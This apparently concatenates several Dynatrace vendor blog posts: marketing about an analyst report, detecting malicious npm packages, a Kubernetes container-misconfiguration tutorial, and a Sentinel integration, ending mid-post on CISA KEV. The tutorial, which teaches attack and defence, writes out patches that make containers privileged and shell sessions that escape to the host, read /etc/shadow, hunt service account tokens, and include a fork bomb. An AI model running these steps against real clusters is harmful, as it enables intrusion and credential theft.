For too long, cloud security platforms have focused primarily on infrastructure—containers, instances, and configurations, while overlooking the application layer where most attacks actually begin. The Latio report identifies this gap explicitly, saying  that CNAPPs “didn’t pay enough attention to the Application part.”

Dynatrace brings deep application-layer visibility that traditional security tools simply lack. Our foundation in observability gives Dynatrace unique insights into:

• Function-level execution visibility through OneAgent® and eBPF technology, helping teams to distinguish theoretical risks from real threats based on what actually runs in production
• Runtime telemetry that contextualizes security alerts with application performance data
• End-to-end traces that show exactly how attacks traverse through your environment
• Real-time monitoring of APIs, microservices, and serverless functions in dynamic cloud environments

All of this feeds into our Davis® Security Score (DSS), which translates observed application behavior into actionable insights by individually adjusting CVSS scores based on the actual risk of exposure for each vulnerability.

Observability-powered security: A natural evolution

The convergence of observability and security isn’t just a trend—it’s a necessity. As highlighted in the Latio report, over 60% of survey respondents identified Application Detection and Response (ADR) capabilities as the most exciting emerging feature for cloud security solutions.

This aligns perfectly with the Dynatrace approach. Traditional application security tools, like static AST, SCA, or vulnerability management platforms, still generate long lists of potential issues, leaving teams unsure which vulnerabilities truly matter in production. ADR and Cloud Application Detection and Response (CADR) bridge this gap by providing runtime and production insights, helping organizations focus on the vulnerabilities that actually create risk.

Dynatrace Cloud Security provides:

1. Complete visibility into digital environments with automatic dependency mapping and topology insights
2. Rich application context including function-level execution data, end-to-end traces, runtime telemetry, and API/microservice interactions, allowing security operations to understand the full story behind incidents and prioritize what truly matters
3. Real-time runtime protection that empowers teams to take immediate, autonomous action
4. Unified data brings security events, logs, traces, and user behavior into a single platform to prioritize, automate, and share information to those who need to act for more autonomous security processes.

What the Latio report says about Dynatrace

The Latio report specifically recognizes Dynatrace among vendors “expanding early functionality” in providing function-level reachability insights through OneAgent capabilities. This technology represents the cutting edge of runtime security, allowing teams to:

• Reduce false positives by identifying which vulnerabilities are actually reachable and exploitable in production
• Prioritize remediation efforts based on real risk, not theoretical severity scores
• Automatically detect and block attacks at the application layer without breaking functionality

The report emphasizes that “the difference these capabilities make within a tool are massive, and their relative importance will continue into 2026.”

Runtime Vulnerability Analytics: Prioritize what matters

One of the biggest challenges security teams face is the overwhelming volume of alerts that lack context and actionability. As we covered in our post on Runtime Vulnerability Analytics, traditional tools “overload you with data, making it challenging to identify which vulnerabilities actually put your environment at risk.”

Dynatrace takes this a step further, transforming vulnerability management from a manual process into an autonomous platform capability that not only prioritizes risks but actively drives remediation.

Here’s how Dynatrace solves this:

• Davis Security Score (DSS) adapts to your specific environment segments.
• Exposure-based prioritization focuses on assets vulnerable to internet-based threats or linked to sensitive data.
• Automated context enrichment eliminates noise and surfaces genuine threats.
• Cross-platform segmentation allows teams to focus on specific areas like payment processing systems.
• Integration of third-party findings (from tools like SCA, AST, or CNAPPs) applies Dynatrace prioritization intelligence across sources, reducing redundant findings and focusing on what truly matters.
• Closed-loop collaboration with developers operationalizes vulnerability management by automatically routing prioritized issues to the right owners—eliminating “man-in-the-middle” friction and accelerating resolution.

The Latio report’s emphasis on “runtime insights to prioritize reducing real risks” perfectly captures our approach. Dynatrace extends this further by making vulnerability management an integral, automated part of cloud operations.

Cloud Security Posture Management (CSPM) with real-time context

Beyond runtime detection, the Latio report highlights the continued importance of posture management—but with a critical evolution. As noted in our Cloud Security Posture Management announcement, “30% of all cloud environment attacks during the first half of 2024 used misconfigurations as the initial access vector.”

Dynatrace CSPM provides:

• Continuous monitoring across hybrid and multicloud environments.
• Automated remediation through workflow automation.
• Continuous compliance monitoring that helps meet strict regulatory timeframes.
• Centralized visibility that breaks down silos between SecOps and DevOps teams.

Protect AI workloads: The next frontier

The Latio report identifies AI security as a critical emerging capability, with 65% of survey respondents expressing strong interest in AI posture management. As AI adoption accelerates, so do the risks.

Our recent work on protecting Agentic AI applications demonstrates how the Dynatrace multi-layered approach, combining runtime vulnerability analytics, security posture management, and deep log investigation, provides robust defense for these dynamic AI environments.

This builds on Dynatrace AI observability innovations, which deliver deep visibility into AI pipelines, model interactions, and even prompt-level activity. These insights not only enhance reliability but also establish the foundation for agentic AI security, where taint tracking across AI agents helps detect and prevent unwanted data propagation or malicious behavior between systems.

The path forward: CADR represents the future

The Latio report introduces a new framework for understanding cloud security, moving beyond the “everything platform” approach of traditional CNAPPs to three specialized categories:

• Application Security Testing (AST) for developer-focused code security
• Continuous Threat Exposure Management (CTEM) for unified vulnerability management
• Cloud Application Detection and Response (CADR) for advanced runtime workload protection

At Dynatrace, we see CTEM not just as another tool category, but as a holistic program that requires process and organizational adaptation to be successful. CADR provides the technological foundation to make CTEM actionable: delivering the runtime insights, prioritization, and automation needed to continuously manage real-world exposure in dynamic cloud environments.

Dynatrace is recognized as an innovator in the CADR category, representing the future of runtime security. As the report states, CADR provides “the best runtime solution to protect cloud environments, and surface runtime telemetry for prioritization and threat detection.”

What this means for your security program

If you’re evaluating cloud security solutions, the Latio report provides guidance: architecture matters. For organizations running containerized workloads with complex microservices architectures, runtime visibility isn’t optional; it’s essential.

The report’s survey found that:

• Over 70% of respondents found posture findings to be most valuable when enriched with runtime context.
• Over 50% split their security tooling between posture and runtime capabilities.
• 64% indicated that their SOC team responds to runtime cloud security alerts.

This highlights the importance of solutions like Dynatrace that bridge security operations and development teams with unified, actionable insights.

Get started with Dynatrace Cloud Security

Whether you’re looking to:

• Consolidate security and observability into a single platform
• Use OneAgent for both observability and security capabilities
• Gain deeper visibility into your runtime environment
• Reduce vulnerability noise with context-aware prioritization
• Detect and respond to application-layer attacks in real time
• Or, secure AI workloads and agentic applications…

Dynatrace Cloud Security provides the comprehensive, context-driven protection your modern cloud environment demands.

As noted in our executive perspective on security compliance, “The benefits of cloud native architecture for IT systems come with the complexity of maintaining real-time visibility into security compliance and risk posture.” Dynatrace makes this complexity manageable through intelligent automation, unified data, and actionable insights.

Recognition driven by customer success

This recognition from Latio reflects the real-world impact Dynatrace Cloud Security delivers for customers. As we continue to innovate and expand our capabilities—from enriching Microsoft Defender findings to breaking down security silos with runtime context—we remain focused on solving the challenges our customers face every day.

It’s worth noting that Dynatrace pioneered this evolution back in 2019, introducing Runtime Vulnerability Analytics (RVA) long before runtime security became an industry trend. What has changed since then is not our vision, but the market’s recognition of the importance of our vision. Organizations are increasingly realizing that runtime visibility and application context are essential to effective cloud security.

With the third generation of Dynatrace Cloud Security, we’ve taken RVA even further, operationalizing it through automated workflows, developer integration, and cross-tool vulnerability ingestion and prioritization. These capabilities are critical for making runtime vulnerability analytics truly usable within customer organizations, turning insights into action at scale.

The evolution from traditional CNAPP to specialized categories like CADR isn’t just about new acronyms—it’s about recognizing that different teams need different capabilities, and that runtime visibility with application context represents the future of cloud security.

Ready to see how Dynatrace can transform your cloud security posture?

• Explore Dynatrace Cloud Security
• Start a free trial
• Contact us to discuss your specific security needs

Additional Resources

• Cloud Security and CADR: Revolutionizing cloud security with observability context
• Empowering SREs with Runtime Vulnerability Analytics
• Discover the new Runtime Vulnerability Analytics experience
• Elevate cloud security with real-time compliance

Dynatrace is proud to be recognized as a Cloud Security Innovator and remains committed to advancing the convergence of observability and security for the modern cloud era.

About Latio:  Latio is a modern security analyst firm redefining how organizations evaluate and select security solutions. Latio conducts hands-on testing, engages with stakeholders across all personas, and consolidates market insights to ensure organizations find the right security solutions for their needs.

About the Cloud Security Market Report:  The Cloud Security Market report delivers a comprehensive analysis of industry solutions, based on hands-on research and insights from practitioners and security leaders. It outlines critical functionality requirements, provides strategic buyer guidance, and examines emerging trends and innovation trajectories across the cloud security landscape.

The post Dynatrace named Cloud Security Innovator in Latio’s 2025 Cloud Security Market Report appeared first on Dynatrace news.

Open source supply chains face a growing number of security threats, from CI/CD pipeline vulnerabilities to malicious pull requests to phishing attacks to self-propagating malware. To stay ahead, teams need clear visibility into which components are actually running in production. That’s the key to spotting compromised packages before they cause damage. When you combine that visibility with automated alerts for malicious code, you empower your organization to react quickly to major threats like the recent NPM supply chain compromises (s1ingularity, Qix, Shai Hulud).

When supply chain incidents occur within the open-source ecosystem, organizations must immediately determine their exposure. The critical question becomes: “How can we determine whether a malicious package has been incorporated into our applications?” And, more fundamentally: “Do we even know what is actually deployed and executing in our runtime environments?”

Dynatrace provides powerful capabilities to help you not only answer those questions, but respond rapidly to security threats.

• Smartscape entities provide real-time representation of your complete environment, including all deployed software components and their versions. By using the Dynatrace Query Language (DQL) you can retrieve the software components in use and cross-reference them with a list of known malicious packages. This allows you to manually check for specific packages and quickly shows you where these are used.
• Runtime Vulnerability Analytics (RVA) does all of this automatically and continuously for you. Additionally, it uses data about network and code reachability, risk scoring metrics, and other properties to enable environment specific risk prioritization for vulnerable or malicious components.
• Automated workflows enable you to respond to findings created in the context of RVA, notify responsible teams, open tickets, and orchestrate response actions.

This automated and integrated approach can deliver the following measurable outcomes:

• Reduced Mean Time to Detect (MTTD) through continuously updated threat intelligence combined with automated monitoring.
• Reduced Mean Time to Acknowledge (MTTA) by directly engaging responsible stakeholders using established ownership data.
• Reduced Mean Time to Investigate (MTTI) by providing comprehensive details on malicious package deployment locations, supplemented with logs and traces that enable observation of potential post-compromise activity.
• Minimized risk of successful adversary persistence by intercepting and disrupting attack chains at the initial compromise stage.

Get started with RVA and automated workflows

First, we have a look at the manual approach and then we’ll dive into what RVA and workflows can do for you.

Searching for malicious packages you’ve read about is as easy as executing a DQL query like the following:

fetch dt.entity.software_component 
| filter contains(softwareComponentShortName, "debug") 
| fieldsAdd softwareComponentType, packageName, softwareComponentVersion

The ability to manually search software components and filter for potentially malicious packages represents a valuable capability that can accelerate incident response. However, this approach requires maintaining extensive lists of suspicious packages and continuously updating search queries, making it well-suited for exploratory or investigative work but suboptimal for automated supply chain compromise detection.

RVA eliminates this operational burden by delivering a comprehensive, ready-to-use inventory of security issues within your environment. Its runtime-based approach inherently generates minimal false positives, leveraging the same characteristic that enhances vulnerability management to detect malicious package infiltration. RVA surfaces vulnerabilities only when packages are actively loaded into memory and therefore represent genuine threats, ensuring high-fidelity detection with actionable results.

To improve performance as described earlier, we need to link the detection of harmful packages with fast and efficient ways to fix them. This means using automated systems that alert the right teams as soon as a harmful component is found in their clusters or namespaces, so they can take action quickly.

You can implement an event trigger using the Dynatrace Workflow app such as the following to automatically initiate the workflow whenever a new finding based on a malicious package is created:

CWE-506 refers to the Common Weakness Enumeration ID 506: Embedded Malicious Code. Also, we filter in our trigger on new findings so people don’t get notified over and over again on already acknowledged events.

Now you can use the full extent of workflows to retrieve ownership information and notify teams using Slack, Teams, Jira or other methods. You could also automatically start collecting forensic evidence or deploy resources like network policies to mitigate the ongoing threat.

What’s next?

To be able to further investigate supply chain security incidents, Dynatrace recommends ingesting audit logs of cloud service providers like Amazon CloudTrail, Google Cloud Audit Logs, etc. as well as audit logs from your SCM platforms of choice like GitHub, GitLab, etc. Check out the Security Investigator app to collaboratively resolve incidents fast.

The post Supply chain security: How to detect malicious software packages with Dynatrace appeared first on Dynatrace news.

In the previous posts of our Kubernetes security series, we explored the anatomy of security misconfigurations and mapped attack paths to real-world incidents. Today, we dive deep into the container layer, where security boundaries are established or broken at the most fundamental level.

We’ll demonstrate these concepts using a real application, showing you exactly how attackers exploit these misconfigurations and how you can defend against them with Dynatrace Kubernetes Security Posture Management (KSPM).

Understanding the container security model

Kubernetes orchestrates containers through runtimes like containerd, which leverage various kernel features for isolation.

Key security features

Containers rely on several core Linux kernel features to isolate and restrict workloads. The diagram below summarizes the key primitives:

• Namespaces. Provide isolated views of system resources like processes, networking, and filesystems.
• Control Groups (cgroups). Enforce resource limits on CPU, memory, I/O, and network usage.
• Linux Capabilities. Break down root privileges into ~40 fine-grained permissions.
• Mandatory Access Control (MAC). Systems like SELinux and AppArmor enforce security policies beyond traditional Unix permissions.
• Seccomp. Filters system calls at the kernel level; Docker’s default profile blocks ~44 risky syscalls.

Kubernetes exposes these through `securityContext`:

securityContext: 
  runAsNonRoot: true          # Enforces non-root execution 
  runAsUser: 1000            # Sets the UID 
  allowPrivilegeEscalation: false # Prevents gaining new privileges 
  readOnlyRootFilesystem: true     # Makes root filesystem read-only 
  capabilities: 
    drop: ["ALL”]           # Removes all capabilities 
    add: ["NET_BIND_SERVICE"] # Adds back specific capabilities 
  seccompProfile: 
    type: RuntimeDefault     # Applies default seccomp profile

Understanding the attack simulation

Our demonstrations simulate certain realistic post-compromise behavior. After gaining initial access (e.g., via SQL injection), attackers typically follow this progression:

1. Reconnaissance. Discovering privileges and environment through namespace enumeration, capability checking, network topology mapping, and service identification.
2. Privilege Misuse. Leveraging capabilities to escalate via CAP_SYS_ADMIN abuse, host mount exploitation, privileged containers, and container escape techniques.
3. Lateral Exploration. Expanding access across the cluster through pod-to-pod movement, service discovery, secret enumeration, and cross-namespace access.
4. Potential Impact. Causing damage such as data exfiltration, cryptomining, service disruption, and persistent backdoors.

Setting up our test environment

We’ll use the Dynatrace Unguard application—a deliberately vulnerable microservices app designed for security demonstrations.

Follow the installation instructions in the Unguard repo, then run the following command to verify unguard was deployed correctly.

# Verify deployment 
$ kubectl get pods -n unguard

The Unguard deployment creates multiple services including payment processing, user profiles, frontend, and membership management.

Baseline security assessment

Check the current security posture using standard kubectl commands:

# Examine container security context for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].securityContext // {} | {runAsUser, runAsNonRoot, privileged, allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities}' 
 
# Check resource limits and requests for payment service container 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].resources // {} | {limits, requests}' 
 
# Review pod-level security settings for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec | {hostPID, hostNetwork, hostIPC, securityContext: {runAsUser, runAsNonRoot}}'

You’ll notice Unguard has some security configurations, but they’re incomplete—a common real-world scenario.

Introducing additional security misconfigurations

To demonstrate the full spectrum of container security issues, we’ll manually introduce misconfigurations to specific services:

We’ll use kubectl patch to introduce these vulnerabilities. Here is an example for the payment service:

# Introduce vulnerabilities to payment service 
kubectl patch deployment unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[PATCH_JSON]' 
 
# Wait for rollout 
kubectl rollout status deployment/unguard-payment-service -n unguard 

To add additional patterns, replace [PATCH_JSON] with the appropriate patch and the deployment name with the target service. Below you can find a list of available patches:

Payment Service: adding privileged mode and dangerous capabilities

[ 
  {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "DAC_OVERRIDE"]}}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Profile Service: enable ALL capabilities

[ 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": {}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE", "DAC_OVERRIDE", "DAC_READ_SEARCH", "SYS_MODULE"]}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true} 
]

Frontend: add access to host

[ 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostNetwork", "value": true} 
]

Membership Service: remove resource limits

[ 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Exploiting misconfigurations: A hacker’s perspective

Now, let’s see how attackers can exploit these vulnerabilities after gaining initial container access.

Privilege discovery

One of the first things an attacker does is to identify the privilege of the resources they have access to, to understand what they can or cannot do.

$ kubectl get pods -n unguard 
# Get into the profile service container 
$ kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
 
# Inside the container 
$ id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) 
 
$ cat /proc/1/status | grep ^Cap 
CapInh: 0000000000000000 
CapPrm: 000001ffffffffff 
CapEff: 000001ffffffffff 
CapBnd: 000001ffffffffff 
$ # The capability value 000001ffffffffff means ALL capabilities! 
$ grep -i "NoNewPrivs" /proc/self/status 
NoNewPrivs: 0  # Can gain new privileges! 
 
$ # Check true privilege 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
$ # Can access physical memory!

In the example above you see the hexadecimal value 000001ffffffffff. This value means that all Linux capabilities are enabled for the current user—equivalent to root privileges on a host. There are also other values possible such as:

• 0000000000000000 = No capabilities (secure)
• 00000000a82425fb = Limited dangerous capabilities
• 000001ffffffffff = MAXIMUM privilege (41 capabilities)

Escape from container

With added privileged access, multiple escape routes become available such as accessing the filesystem or mounting new devices.

# Still inside the profile service container 
# Technique 1: Direct access to host filesystem via /proc 
$ ls -la /proc/1/root/ 
total 72 
drwxr-xr-x   19 root     root          4096 Jun  5 11:57 . 
drwxr-xr-x    3 root     root          4096 Jun  5 11:57 etc 
drwxr-xr-x    5 root     root          4096 Jun  5 12:20 root 
drwxr-xr-x   14 root     root          4096 May 16 06:01 usr 
drwxr-xr-x   13 root     root          4096 May 16 06:04 var 
 
$ # Read host files directly! 
$ cat /proc/1/root/etc/hostname 
ip-10-0-1-234.ec2.internal 
 
$ head -3 /proc/1/root/etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
 
# Technique 2: Mount host devices 
$ mount -t devtmpfs devtmpfs /mnt 
$ ls /mnt | grep -E "nvme|sd|loop" 
loop0  loop1  loop2  loop3  loop4  loop5  loop6  loop7  loop8  loop9 
nvme0  nvme0n1  nvme0n1p1  nvme0n1p14  nvme0n1p15 
 
$ # All host devices are now accessible! 
$ umount /mnt 
 
# Technique 3: Access host filesystem via symlinks 
$ ln -s /proc/1/root/etc /host-etc 
$ ls /host-etc/ | head -5 
$ cat /host-etc/shadow | head -1 
root:!:19876:0:99999:7:::

Leverage privileged containers

The attacker can leverage privileged resources to retrieve important information or perform actions that can help further compromise the environment.

# Access the privileged payment service 
$ kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
 
# Inside the privileged container 
$ id 
uid=0(root) gid=0(root) groups=0(root) 
 
# Access kernel debugging features 
$ mount -t debugfs none /sys/kernel/debug 
$ ls /sys/kernel/debug | head -5 
accel 
acpi 
bdi 
block 
clear_warn_once 
 
# Check kernel modules 
$ ls /proc/1/root/lib/modules/ 
6.8.0-1029-aws  6.8.0-1030-aws  6.8.0-1031-aws 
$ # Could load malicious kernel modules! 
 
# Direct memory access 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
 
# Find container runtime sockets 
$ find /proc/1/root -name "*.sock" 2>/dev/null | grep -E "docker|containerd" 
/proc/1/root/run/containerd/containerd.sock

Lateral movement via host access

The ability to move across networks is important as it enables attackers to pivot to more important resources.

$ kubectl exec -it deployment/unguard-frontend -n unguard -- /bin/sh 
# Check process visibility 
$ echo "Total processes visible: $(ls /proc | grep -E '^[0-9]+$' | wc -l)" 
Total processes visible: 167 
 
# Find critical host processes 
$ for comm in kubelet dockerd containerd sshd systemd; do 
    pgrep -x "$comm" 2>/dev/null | head -1 | xargs -I{} sh -c 'echo -n "$1: " && cat /proc/{}/cmdline | tr "\0" " " && echo' -- "$comm" 
  done 
 
kubelet: /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf 
containerd: /usr/bin/containerd 
sshd: sshd: /usr/sbin/sshd -D 
systemd: /lib/systemd/systemd --system --deserialize 66 
 
# See ALL network interfaces (host + containers) 
$ ls /sys/class/net/ | wc -l 
15 
$ ls /sys/class/net/ 
cni0  docker0  ens5  flannel.1  lo  veth0eb667b2  veth1232f5ba ... 
 
# Can intercept traffic from other containers 
$ cat /proc/net/tcp | wc -l 
68 
 
# Find service account tokens from other containers 
$ find /proc -path "*/root/secrets/*/token" 2>/dev/null | head -3 
$ # Could steal authentication tokens!

Resource exhaustion attack

When removing limits, a single container can crash the entire node.

$ kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
 
# Check current limits (none!) 
$ cat /sys/fs/cgroup/memory.max 2>/dev/null || cat /sys/fs/cgroup/memory/memory.limit_in_bytes 2>/dev/null 
max 
# No CPU limit! 
$ cat /sys/fs/cgroup/cpu.max 2>/dev/null || cat /sys/fs/cgroup/cpu/cpu.cfs_quota_us 2>/dev/null 
max 100000 
 
# Simple resource consumption test 
$ # Allocate 1GB of memory 
$ dd if=/dev/zero of=/tmp/bigfile bs=1M count=1024 
1024+0 records in 
1024+0 records out 
 
$ # Fork bomb (DON'T RUN IN PRODUCTION!) 
$ # :(){ :|:& };: 
$ # Without limits, these attacks quickly consume all node resources causing the infamous "exit code 137" (OOM kill)

Detecting the exploit in real-time with Dynatrace KSPM

Dynatrace Security Posture Management is continuously monitoring the environment, identifying misconfigurations while the attacks unfold:

The above identified misconfigurations include:

• Privileged Container Admission: containers with root-level access
• Host Namespace Violations: pods sharing host PID/network/IPC
• Dangerous Capabilities: permissions like SYS_ADMIN that break isolation
• Missing Resource Limits: pods without CPU/memory constraints

Further analysis

You can drive your investigation further by querying security events directly within Notebooks, revealing further insights:

fetch events, from: -10m 
| filter dt.system.bucket == "default_security_events" 
| filter event.type == "COMPLIANCE_FINDING" 
| filter k8s.cluster.name == "demo" 
| filter contains(compliance.result.object.name, "unguard") 
| fieldsAdd  dt.entity.cloud_application_instance 
| filter in(compliance.rule.title, array( 
    "Minimize the admission of root containers", 
    "Minimize the admission of containers with allowPrivilegeEscalation", 
    "Minimize the admission of containers with added capabilities", 
    "Minimize the admission of containers with capabilities assigned", 
    "Minimize the admission of privileged containers", 
    "Minimize the admission of containers wishing to share the host process ID namespace", 
    "Minimize the admission of containers wishing to share the host network namespace" 
)) 
| summarize violations = count(), by: {compliance.result.object.name, compliance.rule.title,compliance.rule.severity.level, compliance.standard.short_name} 
| sort compliance.result.object.name asc, violations desc

Remediating the exploit – implementing proper security

As an admin, we can easily fix these vulnerabilities by applying the following configuration:

kubectl patch service unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[ 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"drop": ["ALL"]}}, 
    {"op": "add", "path": "/spec/template/spec/containers/0/resources", "value": {"limits": {"memory": "256Mi", "cpu": "200m"}, "requests": {"memory": "128Mi", "cpu": "100m"}}}, 
    {"op": "replace", "path": "/spec/template/spec/hostPID", "value": false} 
  ]'

This adds the following improvements to our environment:

✅ Non-root execution (runAsUser: 1000)
✅ Dropped all capabilities (drop: [“ALL”])
✅ Resource limits enforced (CPU: 200m, Memory: 256Mi)
✅ Privilege escalation disabled (allowPrivilegeEscalation: false)
✅ Host isolation (hostPID: false, hostNetwork: false)

Verifying the remediation

We can easily verify that all exploits are now blocked.

# Try the privileged escape - FAILS 
kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
$ mount -t tmpfs tmpfs /tmp/test 
mount: permission denied (are you root?) 
 
# Try capability abuse - FAILS 
kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
$ cat /proc/1/status | grep ^Cap 
CapEff: 0000000000000000 
 
# Resource limits now enforced 
kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
$ cat /sys/fs/cgroup/memory/memory.limit_in_bytes 
268435456

Automating security testing

While manual testing is valuable for learning and trying things, it is essential to apply automation in production environments. To help you achieve this, we developed the Kubernetes exploit toolkit, which automates the steps introduced above.

This toolkit provides:

• Automated vulnerability injection, for demonstration purposes and remediation
• Comprehensive security assessments
• Demonstration of exploits without manual commands

For teams looking to gain a better understanding of Kubernetes container security posture, this toolkit offers a structured approach to identifying and analyzing misconfigurations on a realistic application.

Conclusion and key takeaways

We’ve demonstrated how easily container misconfigurations can be exploited and how to defend against them. These aren’t edge cases—they’re found in production clusters daily.

When responsible for Kubernetes environments, you should always have the following rules in mind:

• Default configurations are insecure. Always explicitly define security contexts
• Capabilities are powerful. Even one like SYS_ADMIN can compromise isolation completely
• Resource limits are security controls. They prevent DoS and protect cluster stability
• Automation is essential. Use tools to enforce and verify security consistently
• Continuous monitoring is critical. Misconfigurations can be introduced at any time

And don’t forget to regularly check that the following configurations are applied to your containers:

• Security Context
  • runAsNonRoot: true
  • runAsUser >= 1000
  • allowPrivilegeEscalation: false
  • readOnlyRootFilesystem: true (where possible)
• Capabilities
  • drop: [“ALL”]
  • Add only essential capabilities (e.g., NET_BIND_SERVICE)
• Resource Limits
  • CPU limits and requests defined
  • Memory limits and requests defined
• Isolation
  • No hostPID, hostNetwork, or hostIPC
  • No privileged: true
• Additional Controls
  • Pod Security Standards enforced
  • Network Policies implemented
  • Runtime security monitoring active

By implementing proper security controls and continuous monitoring of your environments, you can transform containers from attack vectors into robust security boundaries.

Next in the series: Network misconfigurations—how improper policies turn your cluster into an attacker’s playground.

Additional Resources

• NIST Container Security Guide
• CIS Kubernetes Benchmark
• Kubernetes Security Documentation
• Dynatrace KSPM Documentation

_____

The techniques demonstrated in this post are for educational purposes only. Always obtain proper authorization before testing security controls.

The post Kubernetes security essentials: Container misconfigurations – From theory to exploitation appeared first on Dynatrace news.

Dynatrace integrates with Microsoft Sentinel to unify, visualize, and automate security findings across tools and environments. By adding Dynatrace runtime context to security findings, teams can take advantage of smarter prioritization, reduce alert noise, and focus DevSecOps efforts on efficiently remediating critical issues that affect production environments and applications.  

Tackling the challenges of a siloed approach

Each organization has many stakeholders responsible for developing, building, delivering, monitoring, and securing its critical assets. Depending on the organizational structure, these stakeholders can be part of a myriad of siloed teams—for example, development, operations, and security. In many cases, each team uses different tools to observe, monitor, and detect issues in the development artifacts and runtime resources for which they are responsible.

Without proper communication, maintaining healthy applications and services becomes increasingly difficult.

• Security teams need operations and developers to address the security threats they observe.
• Operations teams want to ensure that deployed artifacts go through proper testing and validation in the development phase.
• Developers need help prioritizing issues they need to fix based on security and runtime insights.

Even if teams must operate in silos, the information they need must be shared across the organization, as all relevant stakeholders need the full context to be efficient in their tasks.

There is no single platform that can provide all those insights in a single place. Nevertheless, various products and tools can share data and interoperate with each other to ensure the necessary information is available to the stakeholders who need it.

Unifying security and observability with Microsoft Sentinel and Dynatrace

That’s where the power of Microsoft Sentinel and Dynatrace can help. Microsoft Sentinel is a modern, cloud native security information and event management (SIEM) platform, helping SecOps teams to store, analyze, process, detect, and react to security threats. It can unify data from various sources, creating alerts and managing incidents. Additionally, Sentinel is natively integrated with Microsoft security solutions, such as Microsoft Defender for Cloud, and extendible with plenty of third-party data connections to ingest alerts and logs.

Dynatrace is an AI-powered unified observability and security platform that helps teams maintain the health of applications and services delivered by their organizations by detecting performance and security problems in applications. Powered by Davis® AI, the platform automatically analyzes and identifies the root causes of issues, guiding you through the remediation process and providing full contextualized observability and security data.

Dynatrace integrates bi-directionally with Microsoft Sentinel to support different stakeholders with the context they need in the products and tools they use.

Dynatrace data connectors in Microsoft Sentinel bring the required observability and security data to SecOps teams. For more details on the integration, check out this blog post.

The new Microsoft Sentinel ingestion integration with Dynatrace brings security alerts reported in Sentinel to SRE and operations teams. The ingested findings are contextualized and connected to monitored Dynatrace entities to provide an enriched experience while investigating potential problems in applications.

How the integration works

The Dynatrace integration with Microsoft Sentinel leverages Azure Event Hubs to continuously export security alerts from Sentinel. Azure Functions pick up and process the exported alerts, which are then sent to a dedicated Dynatrace OpenPipeline^® security events ingest endpoint.

In Dynatrace, alerts are mapped to Dynatrace semantic conventions and stored in the Dynatrace Grail^® data lakehouse, allowing teams to uniformly access and analyze ingested data.

Dynatrace Dashboards, Notebooks, Threats and Exploits, and Security Investigator apps help visualize, analyze, and investigate the ingested security findings.

With Workflows, teams can then automate the triaging of similar security findings in the future, create working tickets for DevSecOps teams, and send notifications to the relevant stakeholders.

This integration provides a couple of ready-made dashboards to help you get started with the data analysis, as well as a sample workflow template to make it easier to automate remediation actions.

Data ingest setup and monitoring is simplified with guided onboarding instructions provided by the integration and a dedicated monitoring view.

Take the next step with Dynatrace and Microsoft Sentinel

Dynatrace continues to enhance the contextualization of ingested data, driving deeper insights and more intuitive exploration. As integration capabilities evolve, security alerts will become even more deeply embedded in the monitored entity experience—empowering teams to act faster and with greater confidence.

Discover how to ingest Microsoft Sentinel security events, and explore security use cases for insight into how Dynatrace helps teams operationalize security findings. And stay tuned for more announcements in the Application Security domain.

The post Ingest and enrich Microsoft Sentinel security alerts with Dynatrace appeared first on Dynatrace news.

Dynatrace has enhanced its runtime vulnerability analytics by integrating data from the Cybersecurity & Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, complete with critical remediation due dates. This powerful addition allows organizations to prioritize actively exploited vulnerabilities, align with federal security standards, and focus remediation efforts where they matter most—on threats that attackers are weaponizing right now.

The challenge of vulnerability prioritization

In today’s threat landscape, security teams face an overwhelming challenge in determining which vulnerabilities pose the greatest risk to their organization. With thousands of new vulnerabilities discovered each year, traditional scoring systems like the Common Vulnerability Scoring System (CVSS) often fall short of providing the real-world context needed for effective prioritization.

